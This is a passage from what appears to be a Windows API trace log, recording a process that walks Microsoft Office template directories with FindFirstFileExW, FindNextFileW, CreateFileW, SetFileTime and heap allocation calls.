dwReserved1=0x0, cFileName="MedianMergeLetter.Dotx", cAlternateFileName="")) returned 1 [0079.925] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4b50b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x48355, dwReserved0=0x0, dwReserved1=0x0, cFileName="MedianReport.Dotx", cAlternateFileName="")) returned 1 [0079.926] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4b50b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x290e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MedianResume.Dotx", cAlternateFileName="")) returned 1 [0079.926] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5e5bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0xab82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Word 2003 Look.dotx", cAlternateFileName="")) returned 1 [0079.926] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE", cAlternateFileName="")) returned 1 [0079.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.926] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0079.926] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0079.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0079.926] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0079.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.927] NtClose (Handle=0x178) returned 0x0 [0079.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.927] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0079.927] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.927] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0079.927] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0079.927] GetLastError () returned 0x12 [0079.927] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0079.927] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0079.927] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.928] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0079.928] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0079.939] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0079.939] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0079.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.939] NtClose (Handle=0x178) returned 0x0 [0079.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce08) returned 1 [0079.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce08 [0079.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcf18 [0079.940] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0079.940] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.940] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook Templates", cAlternateFileName="")) returned 1 [0079.940] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="")) returned 1 [0079.940] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="")) returned 0 [0079.940] GetLastError () returned 0x12 [0079.940] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0079.940] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0079.940] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.940] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook Templates", cAlternateFileName="")) returned 1 [0079.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1226da8 [0079.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123af18 [0079.941] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\notebook templates"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\notebook templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0079.942] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0079.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0079.942] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0079.942] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.942] NtClose (Handle=0x178) returned 0x0 [0079.942] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123af18) returned 1 [0079.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd028 [0079.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123af18 [0079.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b020 [0079.943] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0079.943] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.944] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83c0e00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb83c0e00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1490fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook03.onepkg", cAlternateFileName="")) returned 1 [0079.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b128 [0079.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fd028) returned 1 [0079.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3df0 [0079.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b230 [0079.946] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.946] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83c0e00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb83c0e00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1490fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook03.onepkg", cAlternateFileName="")) returned 0 [0079.946] GetLastError () returned 0x12 [0079.946] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9180 [0079.946] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0079.947] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.949] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83c0e00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb83c0e00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1490fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook03.onepkg", cAlternateFileName="")) returned 1 [0079.949] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83c0e00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb83c0e00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1490fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook03.onepkg", cAlternateFileName="")) returned 0 [0079.949] GetLastError () returned 0x12 [0079.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b020) returned 1 [0079.949] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0079.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b128) returned 1 [0079.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123af18) returned 1 [0079.949] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="")) returned 1 [0079.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123af18 [0079.949] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0079.950] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0079.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0079.950] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0079.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.950] NtClose (Handle=0x17c) returned 0x0 [0079.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123af18) returned 1 [0079.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd028 [0079.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123af18 [0079.951] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b128 [0079.951] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9180 [0079.951] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.951] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6be3a00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6be3a00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACADEMIC.ONE", cAlternateFileName="")) returned 1 [0079.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.952] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.952] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b020 [0079.952] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fd028) returned 1 [0079.952] RtlAllocateHeap (HeapHandle=0x940000, 